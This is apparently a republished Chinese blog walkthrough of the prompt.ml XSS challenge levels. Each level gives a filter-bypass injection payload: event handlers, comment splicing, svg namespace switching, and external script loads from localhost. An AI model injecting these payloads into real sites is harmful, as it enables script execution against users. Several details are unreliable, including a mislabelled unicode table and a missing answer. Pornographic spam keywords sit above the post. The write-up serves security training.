日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

线上靶机prompt.ml

發布時間:2023/12/20 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 线上靶机prompt.ml 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

使用的靶場網址:http://prompt.ml/0

0x0


這關沒有任何的過濾,就直接閉合輸出就行,但是后面多余的引號和尖括號需要注釋掉。

a"><!–

0x1


這一關過濾掉了以尖括號包裹著的所有字符,所以script這種標簽就用不了了。所以可以嘗試使用img標簽。

<img type=“image” src=1 οnerrοr=prompt(1)//

0x2


這一關將這**“[”“(”**兩個符號進行了過濾,所以就沒有辦法使用,可以使用反引號來代替括號。

<script>eval.call`${‘prompt\u00281)’}`</script>

0x3


這一關是將注釋符號給過濾成了下劃線,同樣也是一個小技巧,也可以使用“–!>”來進行注釋。

–!><script>prompt(1)</script><!–

0x4


這一關必須以**http://prompt.ml/**為開頭才可以進行輸入,可以使用@符號來連接外部文檔來進行繞過。注意的是,可能在寫的過程中,/可能不會被識別,換成編碼的形式就可以了。

http://prompt.ml%2f@localhost/test.js


test.js文件里面就寫一個prompt(1)就可以了。

0x5


這一關也是將>和以on開頭,=結尾的字符給換成了=號,所以利用換行就可以了。

1"type="image"src=1 onerror
=“prompt(1)”

0x6


這個例子說了,要輸入一個形狀向** http://httpbin.org/post#{“name”:“Matt”}的語句,并且這個#號將這一串分成了一個數組。然后這個fromURL取這個數組的第0位,然后formdata取數組的第一位;也就是說,如果輸入的是 http://httpbin.org/post#{“name”:“Matt”}那么數組0就是: http://httpbin.org/post**,數組1就是:{“name”:“Matt”}。然后創建了from元素,并且將URL給了fronaction,模式寫為post;然后對fromData做了循環,然后創建了一個i,并且讓input.name=i,這個i就是fromdata對象里的key值,也就是name,然后給value賦值為fromData的值,也就是Matt。以上這些步驟就相當于創建了一個from表單。然后就是查看你一個表單,并且使用action,也就是如果你這個表單里不包含script或者data的話,就輸出,如果有的話,就返回下面那一句話。
但是正產情況下使用javascript:prompt(1)的時候,他是可以輸出的,但是在這里,他沒有辦法繞過那個判斷;可以使用action來蓋住剛剛那個action,也就是如果action的值相同的時候,后一個會把前一個給覆蓋掉。所以這一關就是使用后一個action將前一個action的特性給覆蓋掉。

javascript:prompt(1)#{“action”:“aaaaa”}

0x7


這一個也給你舉例了一個輸出的格式形如dog#cat#bird#mouse…,并且這個對每一個p標簽都進行了一個字符限制,不可以超過12個字符,這樣就可以使用注釋的方式,將多余的內容給注釋掉,剩下的就可以拼湊成想要的樣子。

"><\script>/#/prompt(/#/1)/#/</script>


這里就相當于第一個注釋符注釋的是
<p class=“comment” title=“”><script>/*“></p>
<p class=“comment” title=”*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*“></p>
<p class=“comment” title=”*/</script>“></p>
第二個注釋的內容是:
<p class=“comment” title=”“><script>/*”></p>
<p class=“comment” title=“*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*”></p>
<p class=“comment” title=“*/</script>”></p>
第三個注釋的內容是:
<p class=“comment” title=“”><script>/*“></p>
<p class=“comment” title=”*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*“></p>
<p class=“comment” title=”*/</script>"></p>
最后拼成的就是:"><script>prompt(1)</script>

0x8


這里的\r\n的意思是換到下一行的時候從開頭開始輸入。
然后這一關,將這個給過濾掉為空了。并且把
<,/ 和‘"’ 給過濾掉了。這就用到了js的一個只是點:直接輸入u2028和u2029

javascript字符串允許直接輸入字符,以及字符的轉義形式。但是javascript中有5個字符規定了不能在字符串中直接使用,只能使用他們的轉義形式

  • u005c:反斜杠
  • u000D:回車
  • u0028:行分隔符
  • u0029:段分隔符
  • u000A:換行符
  • 所以這個輸入就是這樣式的:

    將下面的復制,粘貼到答案上就可以了。

    0x9


    這一關是將以<開頭并且后面接字母的都變成了<后面接一個下劃線,并且字母全部變為大寫。那就不讓<后面接字母,可以使用?轉換為s。如果出不來,換個瀏覽器試試。

    <?cript src=“http://127.0.0.1/test.js”></?cript>

    0xA


    這一關將prompt過濾成了alert,并配還把單引號給注釋掉了,這就給我們使用了一個方便,也就是我們可以使用單引號將prompt給分開,反正單引號也會被省略。

    pro’mpt(1)

    0xB


    這一關使用了一個小技巧,

    "(prompt(1))in"使用這個可以進行彈窗。

    0xC


    這一關也是將單引號忽略了,然后將prompt轉為了alert,但是不同的是,這是先過濾,在替換;這樣就不可以了。
    這里就可以使用一種函數,就是相當于將英文轉換為十進制樹數

    eval(630038579…toString(30))(1)

    parselnt:解析一個字符串并返回指定基數的十進制整數,并且進制數的范圍是2-26.

    但是我們在轉換prompt的時候,在26之前是沒有數的,顯示的都是NAN,但是在26之后就有值了;這是因為他轉換是由0-9+a-z組成的,而p是字母的第16位,然后加上前面的10個字符,就等于26,所以才從第26位開始,
    這里可能不好理解,就好比十六進制,他的最大的字母F,f拍在第6位,加上前面那個就是16進制
    為什么這里要寫30進制,因為prompt最后一個字母是t,排在字母表的第20位置,加上前面的10個數就是30;如果使用小于30的數,就不包括了t,這樣就不完整了。

    0xF


    這一關同樣是給了輸出格式,并且限制了p標簽里的字符輸入最大不超過15.并且他過濾掉了上一個使用的注釋符號,但是可以使用<!-- -->注釋方式,但是我使用和第7個處理方式一樣的方法的時候,他沒有成功,各中嘗試之后,還是不成功,:

    "><!–#–><script><!–#–>prompt<!–#–>(1)<!–#–></script>

    但是加一個<svg>就可以了,因為在html中有三個命名空間,分別是html、svg和MathML,這三個空間可以進行轉換,因為這句話在執行剛剛那個語句的時候,他是只有第一個注釋符起了作用,其余的寫在script標簽里面的注釋符是沒有生效的,切換到svg空間是因為svg的語法規范是遵循XML語句的,而XML中是支持<!-- 這樣的編碼,所以這是需要加入一個svg標簽。

    "><svg><!–#–><script><!–#–>prompt<!–#–>(1)<!–#–></script>


    所以嘗試了模板字符串的方式,結果成了

    "><script>`${prompt(1)}`</script>

    總結

    以上是生活随笔為你收集整理的线上靶机prompt.ml的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。